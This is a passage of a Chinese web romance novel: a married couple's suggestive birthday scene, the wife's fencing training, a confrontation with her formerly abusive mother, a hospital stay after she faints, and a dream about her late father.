祁南骁眼睛看不见,耳朵却格外灵敏,当他听到林晚走路时发出清脆的铃铛响时,心跳都比平时快了。 他靠在椅背上,眼睛透过蕾丝布料隐隐约约可以看到一些朦胧的画面。铃铛声越来越靠近,直到林晚走到他身前,眼前的光线微暗了一些。 祁南骁闭着眼睛搂住她,触碰到的是她微凉的肌肤,细腻光滑,他掌心贪婪的游离着,一切都是无意识的动作,鼻尖都是林晚身上专属的女人香。 自从和林晚肌肤之亲后,她身上的香味就变成了他的催/Q香。 祁南骁手指弯曲蹭着指腹不经意间摸到她的大腿,是一圈细细的带子,也是蕾丝的,材质丝滑流畅,刚挑起就从指缝里滑走。 只一秒,祁南骁心脏就像被猛得撞了一下,整个人血脉倴张,喉结滚动,他刚压下去的酒意直接挥发成气息要把他给迷醉了。 祁南骁不敢睁眼,脑袋里一片混沌,只剩下本能,试探着绕她的腿围游走,终于确信了,就是蕾丝。 继续往上,触感更加真切。 刹那间,祁南骁脑海里补全了全部画面。 他想起年少时不小心抓到方茗泽在课堂上头看成/人/动/作片,白色窗帘飘逸,挡住女人的脸,却挡不住女人的身材。 祁南骁不记得那个女人,却记得那件衣服。想到这,他的呼吸逐渐深沉,手下带了些力气揉捏。 林晚喉间忍不住溢出一阵呻吟,她扶着祁南骁的肩膀坐在他腿上。 铃铛随着她的动作叮铃铃响,非但没有让祁南骁心静下来,反而逼得他额间溢出不少汗。 林晚忽然有点喜欢祁南骁这副克制隐忍的模样,她抬手点触他的喉结,轻笑一声:“我给你准备了生日礼物。” 指尖继续往下解开他的衬衫扣子。 祁南骁眼皮禁不住的颤了下,他咽了咽喉结,口干舌燥。 林晚主动抱住他,搂着他的脖颈。 柔软压在坚硬的胸膛上,林晚在他耳边轻声诱惑:“你想看吗?” 祁南骁浑身冒汗,体温快速攀升,充血膨胀,只剩下本能去感受布料的摩擦,忍不住在脑海里描绘出她的美丽。 掌心顺着背脊往下,是毛茸茸的 砰! 她居然还穿了尾巴,艹,她究竟要干嘛? 祁南骁血液都往头顶涌去,听见林晚轻笑出声。 抚着腰肢的手紧紧握成拳。 林晚丝毫不知危险,一个劲的挑衅:“老公,看看我。” 祁南骁撕掉眼睛上的布料,耀眼的白光刺激着他的瞳孔。 他微微眯眼,再次睁眼时,眼前一片春光无限。 白皙的皮鞋在黑纱下若隐若现,既纯又欲,长发披肩散开,头上还有一对猫耳朵发箍,衬得这张漂亮的脸,潋滟动人不失可爱。 祁南骁瞳孔微缩,对上林晚的视线,她正娇笑的看着他,动人的眼眸里有他不受控制的影子。 她竟然把自己扮成猫给他当礼物。 祁南骁抱着她一个转身就把人压身下,眸子一暗,薄唇抿成一条直线,眼睛一眨不眨的盯着身下的人。 两人四目相对,林晚忽然伸出手臂环着他的脖子,撒娇道:“老公,生日快乐。” 林晚白皙修长的指尖扯着一条丝绸带,那是兜着兔兔的带子,她把这根带子交给祁南骁:“做你想做的事,今晚我只属于你。” 祁南骁深邃的眸子陡然一沉,眸色彻底被欲/望之海填满 婚后的生活,可以说他们是过得越来越融洽了。完事后的祁南骁总习惯来一根事后烟。 只不过不会当着林晚的面抽,他习惯在客厅抽完漱口回卧室,然后搂住她的腰。 林晚并不反感他身上的淡淡烟草味:“你是从什么时候开始抽烟的?” “18。” 林晚捏住他的鼻子:“你猜我信你吗?” 祁南骁笑着看了看她。 林晚又好奇的问:“你的童年都是怎么过的?” “上学、滑雪、马术。” “马术?你有养马吗?” “我不会养,但俱乐部里有人帮我养。”祁南骁笑着撩开她脖颈上的发丝,低声问:“你呢?” “上学、少年宫练击剑然后回家,每天三点一线的生活。”林晚陷入回忆,继续道:“那时候每天最期待的事就是练完击剑回家,我妈带我回家路过东大街,那里经常有人摆摊卖小吃的。我记得有一家的烤肠特别好吃,我隔三差五的就坐在我妈的电动车后面吃着香喷喷的烤肠。” 祁南骁有点不可思议:“你以前都是坐电动车去上学的?” 林晚点头。 祁南骁想象不出来:“那下雨怎么办?” “有雨衣啊?”林晚瞥了眼他,像他这样的公子哥出门不是保镖就是专车接送的,估计他连电动车都没坐过。 祁南骁想到林晚坐在电动车后座上就着雨水吃烤肠的样子就很心疼:“怎么不让爸开车去接你?” “我爸那是公车,都不能私用,让他接我,他只会乖乖骑电动车去接我的。”说到林国冬,林晚神色有点暗淡:“你说,我爸那样遵纪守法的人,怎么可能会贪污公款啊。” 祁南骁搂紧林晚,尽可能的给她温暖:“爸肯定没有贪。” 林晚苦笑一声:“可是都查了这么久了,都还没有查出来。” 祁南骁的声音轻柔了几分:“快了,相信上面会还爸一个清白的。” 事实上的确快了,自从上次林晚在自己家被亡命之徒上门威胁后,祁南骁就知道有些人坐不住了。他们只要一动就会有破绽。顺着那些破绽总能找到真相。 对方急着找到所谓的‘证据’,意味着林国冬手里有他们的把柄。这也证明,主动权并不在对方手里。 —— 一月份的雪已经停止了,剩下的是一望无际的银白,汽车鸣笛穿透萧瑟的灌木,柏油路路被薄雪覆盖,走在路上有一种阴湿入骨的冷。 祁南骁惯例早起,亲自开车送林晚去训练馆。自从和林晚在一起后,他的生物钟变成了跟林晚一样的健康。 早上6点多起床,吃早餐运动,晚上10点多上床,大多时候,两人会做到11点多才睡觉。 祁南骁把林晚送到体育局门口,林晚正准备下车,祁南骁忽然拉住她,亲了下她的嘴角:“嘴角还有鸡蛋碎。” 林晚下意识摸了摸,什么也没摸到:“知道了,再见。” “注意劳逸结合。” 林晚头也不回地朝后挥手离开。 走到训练馆,换好衣服,开始一天的训练模式。 一整套热身运动做完,吴添慢悠悠走过来吹响哨子:“手里头的事都停下,接下来实训。” 林晚和于书雨分到一组,两人是老搭档,同时也是最好的对手。 戴上护具,林晚甩了甩佩剑简单热身后走上赛道,场外还有队友纷纷为她们加油打气冲当气氛组,怎么热烈怎么来。 其实这也是训练的一项内容,模拟赛场上比赛焦灼时,场外观众对运动员的干扰。 往往这个时候,教练就要求队友们欢呼高喊起来,最好是能干扰到运动员。 而运动员则需要克服这些嘈杂的声音,稳定心态赢得对手。 林晚戴上面罩,透过面网却只能看见模糊的身影。视线里目标模糊不清,心目中目标明确不变,这样才能尽可能的做到人剑合一。 “嘀——”红色的倒计时开始。 林晚视线里的白色身影飞速朝她移动,她灵巧的闪躲,把精力都用在剑上,开始攻击。 “林晚,注意进攻。”吴添在场外不停的吹着哨子,拍手干扰。 “集中精神!” “半步长刺!” “注意转位,换侧攻击!” “好样的!” “林晚的速度,好像快起来了。”场外,队友不由的惊叹出声。 “她这样子,你说她之前韧带断裂,我都不敢信。” “你那是没看到她做康复训练时有多狠,真的是满头大汗,汗水都糊住眼睛了,她都没喊一声疼,咬牙跟着康复师练下去。” “膝盖韧带断裂都能恢复成这样,真是吾辈楷模啊。” 众人都以为林晚这几个月,就算基本功没落下,专业技能也会有所下降。没想到她非但没有退步,反而隐隐有突破自己瓶颈期的样子。 得分的尖锐声响起。 吴添吹响哨子。 “嘀——”漫长的三分钟结束。 比分停在:“14:11” 林晚赢了。 “吼!林晚牛啊。” 队友纷纷鼓起掌,衷心祝贺林晚突破瓶颈,战胜自己。 林晚身上全是汗,长发团成低丸子头,两鬓的碎发湿漉漉的,她摘掉眼罩透气。看着队友们热烈而真诚的欢呼,她也忍不住笑了。 她转头和于书雨击了下拳头。 于书雨笑着道:“恭喜你,找回状态了。” 林晚笑了,眼尾弯弯:“你也进步不小。” 两人走下赛道喝水,于书雨道:“相信我,今年奥运会名单肯定有你。” “咱们都会有机会的。” 于书雨擦掉头上的汗,余光瞥见林晚也正在擦汗,她动作放轻,气质温柔清冷,白皙的脸上一点毛孔瑕疵都没有。 即便是认识林晚那么久了,依然还是会被她的颜值所震撼。更让人震撼的是,林晚的履历。14岁进入省队,16岁进入国家队。 19岁第一次参加奥运会就获得第五名。运动生涯获得1次个人世界赛季军,1次世界杯个人冠军,3次亚锦赛冠军,2次世界杯大奖塞团体冠军。 短短几年,她已经拿了大大小小很多奖牌。虽然之前她的风评被受争议,但并不防碍她成为队里备受瞩目的运动员之一。 下午五点,林晚在更衣室里换好衣服,出来时收到祁南骁的短信,他还有个跨国会议要开,不能及时过来接她,安排了司机来接她。 林晚给他回了个表情包表示自己知道了,正要收起手机,手机铃声就响起,看见屏幕显示‘沈怀川’的那一刻,她还有些蒙。 划开接通键:“喂?” “小晚,训练结束了吗?” 林晚淡笑着道:“刚结束。” 沈怀川笑着道:“正好,我在门口碰到一个找你的人,带她进来找你。” 林晚以为沈怀川说的是祁南骁安排的司机,便直接答应了。 挂了电话,林晚收拾了一会儿东西才背上背包就往楼下走去。 电梯门打开,她一眼就看见门口和沈怀川有说有笑的女人。 林晚脚步一顿,脸色骤冷,语气冷沉:“你们什么意思?” 沈怀川笑着解释道:“小晚,我也是刚刚才得知伯母是你的母亲,她一个人找到体育局门口,我见她是来找你的便把她带进来” 他话还没说完,林晚眼神冷冰冰的看着沈怀川,冷声道:“伯母?” 周惠一身墨绿色呢大衣,长发疏得整齐利落,团成低马尾,五官和林晚有几分相似。周惠有一双妩媚的眼睛,即便是上了年纪也依然能看得出来。她的身段和脸型是典型的柔弱型美人,精致却又脆弱像工艺品,没有一丝灵魂。 见到林晚,周惠先是打量林晚一番,待看到她无名指上的价值不菲的蓝钻戒指后,她眼眸一亮:“小晚,好久不见。” 林晚冷笑一声:“是挺久没见了。” 沈怀川这会后知后觉气氛不对,他想开口劝和。林晚眼神犀利看向他,淡声道:“沈先生,我需要和这位女士先谈谈。” 周惠脸上的笑容僵住。 林晚就站在周惠对面,眼里没有了恐惧,唯有刻在骨子里的淡漠和凉薄。 60-70 第61章  他是英雄 祁南骁安排的保镖并没有在规定时间里等到林晚, 他有些疑惑,想到之前看见沈怀川路过,他就觉得事情不简单, 果断拿出手机向莫白汇报。 莫白听完后,又去跟祁南骁汇报。 一圈下来, 祁南骁拿出手机打给林晚,发现电话根本没有人接通。他眉心微蹙,理智上相信林晚不会有什么事, 但感性上想到沈怀川的不怀好意, 他就忍不住担忧。 祁南骁拿起西装外套往外走:“把会议往后移, 送我去体育局。” 莫白:“好。” 训练馆的休息室里, 只剩下林晚和周惠。 周惠一身长款风衣及膝,妆容精致, 从头到脚都充斥着珠光宝气,时间在她脸上留下医美的痕迹,跟十几年前相比较,她的模样并没有太大的变化, 惊艳的漂亮,又带着这个年纪该有的韵味。 林晚的长相集合了周惠的妩媚, 林栋的英气,才能美得让人惊艳以至于忘记之前见过的所有美人。 见到林晚脸色波澜不惊,周惠的目光微顿, 她神色间有打量、有猜忌、有审视,唯独没有激动和高兴, 笑着开口道:“小晚,这么多年你过的还好吗?” 林晚没退没让,目光平静的看着她, 冷声道:“显而易见,很好不是吗? ” “听说你膝盖受伤了,现在好点了吗?” 林晚闻言,勾起一抹讥笑:“没有话题就别硬聊了,省得你装得辛苦,我还要花时间来应付。” 玻璃窗上凝着一片雪花,室内茶香袅袅,隐约有向着窗户方向飘去,这种不应景的烘托,让气氛从沸点陡然降至冰点。 ——沉默。 周惠对于林晚不给她面子的做法有些不满意,她不动声色的打量着,两人很多年没见了,对彼此都很生疏。 看着她的脸,周惠就情不自禁的联想到林栋,那个无能却耽误她人生的男人。 “血缘关系是断不清的纽带,妈妈今天来只是想看看你过的好不好。” 林晚强忍着心底的恶心,眼神冰冷的看着周惠:“你虐待我讨好你男人的时候,怎么不说你是我妈?” 周惠闻言脸上的笑容有那么一刻僵住,她掀起眼皮古井无波的眸子看着林晚,像一具被掏空灵魂的木偶,机械的摆出笑容,语气执拗:“妈妈只是在教育你。” “是为你好。”声音低喃,像是在说给她自己听。 这样的场景熟悉到令林晚感到心悸。 林晚悄然握紧拳头,全身血液都在沸腾强忍着怒意,眼神里是毫不掩饰的厌恶。 把她关在暗无天日的楼梯间里叫为她好? 薅着她的头发,把她掼在瓷砖地上,摁着她的脸往地上撞叫为她好? 厚重的巴掌差点把她扇失聪,叫为她好?三天两头才给她吃一顿饭叫为她好?不让她睡觉,捆着她把她和窦儒笙养的蛇关在一起叫为她好? 无数次痛不欲生和饥肠辘辘,都让林晚看清眼前的女人就是个恶魔。 林晚脸上努力维持着镇定,实际上是在忍着心底的怒意:“滚。” 周惠抬眸看着她,攥着爱马仕的手不耐烦的紧箍着,她面上挂着平静的笑容,眼中闪烁着疯狂的火花,每一个细微的表情都在透露她内心的狂热和扭曲。 这样的神情,林晚曾无数次在她脸上看到过,那是一种病态。 这一刻,林晚才意识到多年的心理治疗并没有把周惠的心理疾病治好,反而比之前更加严重了。 周惠盯着她看了一会儿,眼眸里的狂热渐渐消失,转而用一种无比震惊和痛心的眼神看着她:“对不起,是妈妈错了。” 林晚本能的警惕看着她,眼神里透着深深的厌恶。 周惠慢条斯理的从她的爱马仕里拿出一个丝绒盒,小心翼翼递给林晚:“妈妈听说你结婚了,这是你爸当年给你准备的项链,现在你嫁人了,这条项链就当是他给你的嫁妆。” 林晚眼眸微顿,看着那个古朴的盒子,眼眶湿润。打开盒子,里面是一条金子打造的兔子项链。兔子精致可爱,是实心的,底下还有林晚名字的缩写。当年,这么一条纯金项链一定是花了林栋大半的积蓄。 “他什么时候给你的。”林晚几乎是颤着音开口的。 周惠平静的开口:“05年。” 林晚表情僵住,抬眸愤怒的看着周惠。那是林栋去世的那年,林晚握着项链的手忍不住颤抖起来。 周惠嘴角露出意味深长的笑意:“随你爸的骨灰一起回来的。” 林晚霎时眼前一片白光,明明听见了,却什么也进不去脑子,一片空白。 她在这头沉默,周惠坐在她对面欣赏她的表情。 良久,林晚咬着牙开口:“为什么现在才给我?” 周惠笑着道:“你现在嫁入祁家,我作为你的亲生母亲是你唯一的娘家人。” “祁家是京市乃至全国顶级豪门,你爸要是还活着肯定舍不得你孤身嫁进这样的豪门里。要是被人欺负了都没有娘家人给你撑腰。” “小晚,过去的事妈妈已经认识到错误了。我不该在有心理疾病的时候把负面情绪发在你身上。如今这个世界只剩下我跟你是血亲了,只要你愿意,我和你窦叔叔会一直当你的后盾。你窦叔叔虽然没有祁家那样家大业大,但也有点资产,足够给你抬身价。这个圈子里出身决定一个人的一切,你有个一个富家千金的身份,才不会被人看不起。” “项链你爸留给你的,他还给你留了封遗书,还有一些照片,都在我那儿,只要你愿意,我们找个时间一起吃顿饭,我把东西带过来给你。” 林晚站在原地,脸色苍白,浑身恶寒。 她终究还是小看了周惠的不要脸。 说那么多,不就是想要她和他们夫妻俩和解,借她的关系接触祁家。 愤怒到极致后,林晚反而平静下来,她嘲讽着开口:“我不去找你麻烦,你们倒是先打起我的主意。当初你们虐待我的证据,我都还留着,需不需要我在南市给你们夫妻俩宣传一下海笙集团的董事长还有他的夫人虐待儿童?” “你猜,你们的对家对这条消息会不会感兴趣?” 她一字一句,带着浓浓的挑衅和鄙夷,字字戳到周惠的神经上。 周惠气得再也不装端庄了,看着林晚的眼神里有愤怒有忌惮:“窦家可以给你富家千金的身份让你在祁家站稳脚根,我们合作共赢比剑拔弩张更有益。 ” 林晚嗤笑一声:“你自己是受虐狂,我不是。我警告你们,最好别再来惹我,否则,我会让你们全家陪葬。” 她撂下这句话,转身离开。 周惠从身后叫住她:“你爸的遗书你不想要了吗?” 林晚脚步微顿,咬着牙,冷声开口:“如果他知道这封遗书会成为你要挟我的工具,他一定不会希望我为了这封信向你们妥协。” 信她会取,但绝不是以被他们威胁的方式拿回来。 林晚说完,径直出了休息室。 沈怀川见到她出来赶忙走过来问:“小晚,怎么了?” 林晚神色冷冷的看着他,沈怀川只觉得心底咯噔一沉。 “沈先生以后还是叫我林晚吧,我丈夫那人比较爱吃醋,他比较在意这些。” 沈怀川微微蹙眉:“是发生什么事了吗?” 祁南骁从电梯里出来时正好看见林晚脸色煞白,整个人状态都很不好,他迈步走过去抬手将人揽在怀里:“小晚。” 林晚闭了闭眼睛,半靠着祁南骁,努力把自己从绝望的深渊里往回拉。 祁南骁蹙眉担忧的问:“怎么了?” 林晚摇头。 周惠:“小晚。” 沈怀川回头:“伯母。” 祁南骁眼眸犀利的看向沈怀川,还有站在他身旁的那个跟林晚长相有几分相似的妇人。思及此,祁南骁神色一滞,脸色之差怎么也盖不住。 他看向沈怀川,目光里有愤懑、有敌意、有怒不可遏的杀意。 林晚无声的调节好呼吸,把情绪控制在冷静范围之内,跟祁南骁道:“我们走吧。” 祁南骁眉头紧蹙,看着不远处的两人,心底一股怒意涌上心头,要不是这两人,林晚也不会脸色这么差。 周惠见到祁南骁先是打量一翻,旋即露出得体的微笑:“你就是小晚的丈夫?” “你好,我是小晚的妈妈。”周惠自认为自己态度温和礼貌,就算林晚不待见她,祁南骁这个女婿也该给她点面子。 结果祁南骁非但没有理她,反而一副恨不得杀了她的眼神,周惠终究还是没敢继续上前摆谱。 林晚拉着祁南骁转身离开。 沈怀川看着林晚的背影,眼眸里有抓心挠肺的不甘,他知道林晚对他再也不可能像小时候那样信任了。 —— 林晚离开后并没有进电梯下楼,而是朝着更衣室走去。 祁南骁看着她纤细的背影,担心道:“怎么了?” 林晚头也不回:“我去躺更衣室。” 更衣室禁止男士和非工作人员入内,祁南骁只好站在门口一边等待,一边给莫白打电话调查周惠出现的事。 窦家跟秦家一直狼狈为奸,这会儿来打林晚的主意,真当他是死的吗? 浴室里,单间门一关,林晚站在镜子前,看着里面熟悉的面孔,眼泪再也忍不住浸湿眼眶,盯久了镜子里的面孔逐渐变得陌生。 她的眼睛跟林栋的很像,笑起来的时候都是眼尾向下,像月牙似的。脑海里关于林栋的回忆所剩无几,只有依稀模模糊糊的面孔。 小时候林栋很喜欢逗她笑,不知从什么时候开始,她便不爱笑了。所有人都说她长得好看,但只有她自己知道她这双眉眼里少了灵动和活泼,多了刻薄和清冷。 她十几年如一日的以为林栋心里只有国家大义,并不在意她。甚至无数次的希望破灭后,不只一次怨过他,他能成为无数人的英雄,为什么不能救她。 林晚张开手掌,看着掌心里那枚兔子项链,心底的情绪再也无法压抑。 周惠说这是跟着林栋骨灰一起被送回来的。她并不知道有这些东西,当时这些东西也不是林国冬负责的,他也不知道。 林栋被找到时,身上没有一处皮肉是完好的。他在那样危险的境地都还记得她喜欢兔子,要给她打一个兔子金项链。 眼泪如潮水般汹涌而出,林晚一眨不眨,她的爸爸从未抛弃她,他是所有人的英雄,更是她的爸爸。 心痛蔓延全身,林晚死死盯着镜子中煞白的脸,她眼底是噬心腐骨的痛意,身体里的力气仿佛在这一瞬间被抽空,她无助的缩在角落,这一刻她感觉自己的世界天旋地转,每根神经都像绷紧了叫嚣,痛到令人窒息。 不知道过了多久,林晚好像听到于书雨的声音,又好像有祁南骁的声音。 她分不清,全身疲软,她只能狠狠咬住唇尝试让自己清醒点。 阖上双眼前,林晚看到祁南骁撞开浴室的门,神色焦急的冲了进来 “林晚。” 祁南骁轻轻的拍着林晚的脸颊,发现她脸色煞白,双目紧闭,蹙起的眉头证明她仍在难受。 “林晚。” 怀里的人丝毫没有回应,祁南骁心脏揪着疼,他一言不发把人抱起往楼下去。 走到门口时,遇到吴添,他显然还不知情,焦急询问:“林晚怎么了?” 祁南骁道:“去医院。” 吴添说:“出什么事了?” 祁南骁不再说话,迈步往电梯口走,吴添想拦,但祁南骁身上散发出的气场实在是太骇人,趋利避害的本能让他顿住脚步,于书雨紧随其后跟他解释。 莫白按下电梯,一边拿出手机安排医生。 出了电梯,祁南骁抱着林晚坐进过后座,莫白坐进副驾驶交代司机:“去沃森。” 司机无意间瞄了眼后视镜,祁南骁神色焦急的样子着实让司机感到吃惊。 丝毫不敢耽误,猛踩油门往朝私人医院驶去。 祁南骁小心翼翼的把林晚的手放在舒适的位置,低头的那一刻,他才注意到被林晚一直握在手里的金项链。 他确信林晚的饰品里没有这么一条项链。 看她紧紧握着的样子,想必对她很重要,祁南骁小心翼翼捋开林晚的拳头,把项链收起来 车子准确无误停在急诊楼门口,祁南骁还没等别人开车门,他自己下车抱着林晚出来,放在担架车上。 林晚原是窝在她怀里,突然的动作让她无意识的眉头紧蹙。 祁南骁见不得她难受,心都揪着疼的,却也没有忘记提醒医生:“她是运动员,禁药不能用。” “好的。”医生推着车进入急诊室。 这家医院是高档私人医院,就职的医生都是顶尖人才,对于运动员的用药注意事项自然也清楚。 不多时,医生确诊完毕,走了出来。 祁南骁守在门口,起身问:“她怎么样?” 医生道:“病人是因为低血糖加上情绪过于激动引发的休克现象。我让护士给她安排葡萄糖静脉注射” 医生说完,便让护士推着转移车出来。祁南骁的目光始终落在林晚身上,见状他帮忙推着车走进VIP病房。 林晚睡的并不安分,她做了个梦。梦里面,她看到六七岁时的自己,穿着鹅黄色的蓬蓬裙,头上还疏着漂亮的公主头。一只手里拿着棒棒糖,另一只手被林栋紧紧牵着。 父女俩走在夜市的小吃街上,远处还有烟花盛开,道路两边都是人间烟火的气息,人来人往挤得她很恼火,最终在某一刻,小小的人儿甩开爸爸的手掌,就地蹲下来气鼓鼓的生闷气。 林栋弯腰要去牵她,她立马背过身,给高大的男人留下一个气呼呼的背影。 林栋无奈,只好哄着她,把她扛肩上。那时的林栋接近1米9,身材高大,是站在人海里都能数人头的存在。 小林晚抓着林栋的耳朵,兴高采烈。 父女俩走到玩具枪摊子前,林晚扯了扯林栋的耳朵要前面的玩偶。 林栋疼她,对她的要求就没有不答应的。 把林晚放下来让老板帮忙看着,林栋三两下熟悉好玩具枪便对着不远处的气球开始射击。 他本就是当过兵,举起枪的那一刻整个人气质都不一样。 小小的林晚含着棒棒糖,只能仰着头欣赏爸爸的英姿帅气,看着看着,就因为头太大差点往后倒了过去。 老板乐呵呵的把她扶好。 林栋枪法准,很快一整面墙的气球就被他挨个击破,看得周围路人都忍不住拍手叫好,林晚也跟着拍手。 林栋见女儿开心,还想再打,老板哭笑不得赶忙拦住,再打下去,他今晚得赔了。 最后,老板让林晚自己跑进去选玩偶。 林晚短腿扑腾扑腾朝着那只白色的垂耳兔扑去。 父女俩外加一只玩偶走在路上,很多路人忍不住回头看。 那时的林晚并不知道,这是林栋最后一次带她出来玩。此时,她还是个无忧无虑的小公主。 第三人的视角不知何时切换成第一视角,也许是林晚拿到垂耳兔的那一刻,她抱着跟自己差不多大的玩偶,被林栋牵着,忍不住一直仰头看着他高大雄伟的身影。 身边人来人往,她却丝毫看不清那些人的脸。 一直朝着烟花盛开的方向走,最终父女俩站在巨大的烟花底下,林栋松开林晚的手,蹲下来摸了摸她的头。 父女俩就这么在烟花底下对视,忽然间,林栋笑着开口:“小晚该回去了,爸爸要走了。” 林晚心慌:“你要去哪?” 林栋起身,温声道:“爸爸,要去守护这万家灯火了。” “不要去,爸爸。” 林栋摸了摸她的头,不顾她的哭打喊闹,转身三步两回头的看着她,朝着烟花的反方向走去。 那条路只有一盏昏黄的路灯,渺无人烟,还有无数看不清脸的人影就站在那里。 林晚瞪大眼睛,抬腿就要跑过去,可是她发现自己根本动不了连话都喊不出,无形中有一堵墙把她挡住。 “爸爸。” 喊出这句话的时候,林晚发现自己突然可以动了,她直勾勾的盯着前方,眼泪不停的落下,她整个人都癔症了。 医院天花板的灯光很白,白得有些刺眼,林晚一时分不清自己在哪? “小晚。” 熟悉的男声传来,林晚转动眼眸这才看到守在病床边的祁南骁。 他神色担忧,眼眶微红的看着她:“感觉怎么样?” 林晚思绪渐渐回笼,手臂微抬,在虚浮的空气里轻晃:“我怎么了?” 祁南骁心狠狠一揪,握住她的手腕:“你低血糖晕倒了,我们现在在医院吊葡萄糖水。” 林晚动了动手掌,忽然心一动,焦急的问:“我的项链呢?” 祁南骁闻言,立马从口袋里拿出项链,放在她手心里:“在这里。” 林晚松了口气,看着项链发呆,良久,她才开口道:“这是我爸送给我的。” “我亲爸。他在东南亚那个鬼地方做那么危险的任务还有闲心给我打项链。” 说着说着,林晚眼泪不自觉的掉下。 “他没有忘记我,可我却一直在怨他。” 祁南骁心狠狠的一痛,把林晚抱在怀里轻哄:“爸不会怪你的,他在天有灵看到你好好的一定会感到欣慰的。” …… 一直等到把林晚哄睡着,祁南骁才轻手轻脚起床,打开房门走到抽烟区,莫白已经在那站着,见到祁南骁来,给他递了根烟,点上。 随即开口汇报:“沈怀川主动联系周惠带她来找林晚。” 祁南骁没说话抽了一口,鼻间散出薄薄的烟雾。 烟雾散尽,莫白看到祁南骁深邃的黑眸冷淡中带着浓浓的杀意。 良久,祁南骁几乎是咬牙切齿开口:“找个借口把沈怀川约出来。” 第62章  “洗澡吗?” 痛哭过后, 一整天的情绪低压得以释放,林晚疲惫的在病房里一直睡到点滴打完。 祁南骁没有走,一直坐在病床边等着她自然醒。 林晚是被突然的刺痛给惊醒的, 浑浑噩噩地看了一圈,发现祁南骁正在帮她的手背止血:“现在几点了?” 祁南骁看了眼手表:“晚上11点半了。” 林晚微微抬头, 想要起身,祁南骁扶起她,把枕头垫到她后背。 “你叫醒我呀, 你还打算陪我在医院过夜吗?” “过夜就过夜吧, 想让你多睡会儿。”祁南骁看了眼林晚的手背, 针口的血止住了, 他把林晚的手塞回被子里,温声问道:“饿了吗?” 林晚摇头, 她不太想吃东西。 祁南骁拨了拨她脸颊边的发丝:“还是吃点吧。” 林晚没拒绝。 不多时,保镖抱着一个保温箱进来,祁南骁把吃的都摆在桌上,流食居多。 林晚没什么胃口, 又不能不吃,最后选择喝的, 就当喝水。选了碗汤,发现是甜的,又喝了口粥也还是甜的。 “该不会是每样饭菜都是甜的吧?”林晚好奇问道。 祁南骁道:“也有咸的, 你要吃吗?” 林晚摇头:“算了,就吃甜的吧。” 两人安静的吃完一顿夜宵, 祁南骁打量林晚的脸色,没从她脸上看出什么异样,又或者看出来了, 但是不想戳破,就算是夫妻,他们之间也总要留给对方一些私密空间。有时候刨根问底的关心并不是真正的爱。 吃完,林晚便提出要出院回家。 祁南骁有些犹豫:“要不让医生给你做完检查?” 林晚撇了撇嘴:“我只是低血糖,并不是什么绝症。” 她中午没怎么碳水,下午又剧烈运动没有及时补充功能饮料,本就是有点低血糖,最后又碰上周惠,情绪激动下低血糖全身无力才晕过去的。 祁南骁闻言也没有勉强。 —— 两人回到家,等祁南骁洗完澡,林晚已经换好睡衣躺在床上了,挨着床边一点点,侧身躺着整个人蜷缩起来,把头埋进被子里,只留下鼻子出气。 祁南骁把她轻轻往里挪了挪,怕她一个翻身摔下床。林晚根本没睡,祁南骁一碰她就醒了,拉着祁南骁上床,整个人窝在他怀里。 祁南骁搂着她的腰,床头柜的灯光昏黄温馨,林晚侧躺着脖子上的兔子项链跟着一起滑落。 林晚没了睡意便跟祁南骁聊起童年。她从一出生起就是留守儿童,被奶奶抚养长大。奶奶一直不喜欢周惠,连带着对她也没好脸色。 那时候林栋还在部/队,周惠出了月子就坚持要去海城。 林晚是喝着隔壁刘婶的奶水长大的。奶奶虽然不喜欢她,但也没亏待过她。林晚知道奶奶只是刀子嘴豆腐心,虽然不爱和她说话,可一旦有人欺负她,奶奶总会第一时间去找那家人吵架。 林栋是在奶奶去世的那年转业回到北林省的,那时候林晚已经五岁了。对于林栋,也只是见过几次面并不熟悉。无论林栋怎么逗她,她都不愿意跟林栋回家,一直赖在刘婶家里。 林栋每天带着各种零食去刘婶家陪她说话,忽悠她回家。 说到这的时候,林晚神色好了不少:“你还记得小时候吃过猪油糖吗?那时候我爸每天都给我带这个。甜甜的,小时候的糖没有那么多添加剂和香精,却格外的好吃。” 祁南骁神色微顿:“猪油能做成糖吃,不腻吗?” “又不是只放猪油,吃起来还挺香的。”林晚开口,见他不认识,轻声问道:“高粱饴你吃过吗?” 祁南骁狐疑:“高梁做的糖?” 林晚掀起眼皮,不答反问:“那你喝过AD钙吗?” 祁南骁微微侧头,眼底带着茫然:“钙片?” 林晚一时失笑,调侃的口吻打趣他:“差点忘了,你们有钱人都不吃我们人间烟火的。” 祁南骁一时语塞,他小时候的确没什么机会吃零食。等到跟祁占山一起住时,吃的全是特供的,市面上的那些食品很少会出现在他面前,想到这,他主动问:“这些东西好吃吗?” 林晚抿了抿唇,玩笑又认真的说:“好吃。但也仅限于那个年龄段的好吃。” 祁南骁亲了亲林晚的额头,低声道:“改天,我陪你去给爸上个香吧。” 林晚蹭了蹭他的脖颈,闷声道:“他在云城的陵园,离我们好远。” 祁南骁心脏狠狠的揪着疼,越了解林晚的过去,越心疼她。出生就被亲生母亲抛下,在奶奶的冷脸下长大。 好不容易爱她的父亲回来了,还没相处几年,亲生父亲又去当了卧底,一走就是永别。接着她又跟着亲生母亲嫁入窦家,却遭遇亲妈的虐待。 那十年她明明过得如此艰辛,可在她的回忆里,最深的却是和林栋一起生活的时光。即使命运对她万般折磨她,她也没有怨天尤人。 他的林晚一直都那么的坚韧,如簇拥着烈日的花,不蔓不枝,坚毅善良。 深吸一口气,祁南骁努力调整好心情,看着不知何时已经在他怀里熟睡过去的林晚,他心底突如其来的涌上一股巨大的酸涩。 祁南骁几乎是小心翼翼的伸手拨开她脸颊上的发丝。她睡觉喜欢侧躺着把自己蜷缩成虾米,平时看到她这样睡觉,祁南骁都会闹她一番,然后搂着她的腰,把她拉进怀里抱着她入睡。 可是今天,看到她这样没安全感的睡姿,祁南骁忽然喉咙发紧,胸口憋闷的难受。 —— 林晚一觉睡到自然醒,起来时发现祁南骁居然破天荒的比她先起床了。 她的生物钟一直都是6点多醒,祁南骁工作日得睡到八点多,周末干脆睡到中午才肯起来。 林晚心里一肚子疑惑起床,在房间和书房都没找他。洗漱完出来,本来想去健身房看看的,结果一下楼就看到陈嫂告诉她,祁南骁在厨房。 她一路寻去,在厨房门口看到男人宽背长腿站在灶台前,手忙脚乱的,他身材高大完全把灶台挡得严严实实,林晚根本看不清他在干什么。 悄悄走近,林晚站在祁南骁身后,歪头还没看清就被祁南骁侧身给发现了。 祁南骁自己也吓了一跳,他穿着围裙,拿着锅盖,昂贵的居家服已经被油渍给洗礼了。 林晚见状心底暗自可惜,不由得道:“你在干嘛?” 